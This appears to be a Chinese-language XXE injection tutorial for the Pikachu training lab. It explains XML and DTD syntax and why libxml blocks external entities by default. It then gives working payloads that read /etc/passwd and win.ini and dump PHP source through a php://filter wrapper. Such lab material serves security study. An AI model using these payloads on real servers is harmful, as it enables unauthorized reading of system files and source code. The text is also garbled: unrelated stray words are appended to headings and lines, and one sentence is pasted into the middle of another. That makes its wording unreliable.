XXE -"xml external entity injection"
既"xml外部實體注入漏洞"。
歸納一下就是"攻擊者經過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,致使問題"
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有作嚴格的安全控制,從而致使xml外部實體注入。
具體的關於xml實體的介紹,網絡上有不少,本身動手先查一下。
如今不少語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
以PHP爲例,在PHP裏面解析xml用的是libxml,其在≥2.9.0的版本中,默認是禁止解析xml外部實體內容的。php
第一部分:XML聲明部分安全
<?xml version="1.0"?>
第二部分:文檔類型定義 DTD服務器
<!DOCTYPE note[ <!--定義此文檔是note類型的文檔--> <!ENTITY entity-name SYSTEM "URI/URL"> <!--外部實體聲明--> ]>
第三部分:文檔元素網絡
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
其中,DTD(Document Type Definition,文檔類型定義),用來爲 XML 文檔定義語法約束,能夠是內部申明也能夠使引用外部DTD如今不少語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。函數
① 內部申明DTD格式<!DOCTYPE 根元素 [元素申明]>編碼
② 外部引用DTD格式<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">spa
③ 引用公共DTD格式<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">code
外部實體引用 Payloadxml
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
1.PHP中有一個函數 simplexml_load_string() 將形式良好的 xml 字符串轉換爲 SimpleXMLElement 對象對象
在PHP裏面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默認是禁止解析xml外部實體內容的。
本章提供的案例中,爲了模擬漏洞,Pikachu平臺手動指定 LIBXML_NOENT 選項開啓了xml外部實體解析。
2先提交一個正常的 xml 數據
<?xml version = "1.0"?><!DOCTYPE note [ <!ENTITY hacker "test"> ]><name>&hacker;</name>
3.若是咱們提交下面這樣的payload,就能看到服務器上的文件內容
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://Windows//win.ini"> ]><x>&f;</x>
4.嘗試php僞協議,打印出了base64編碼後的xxe.php頁面,
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>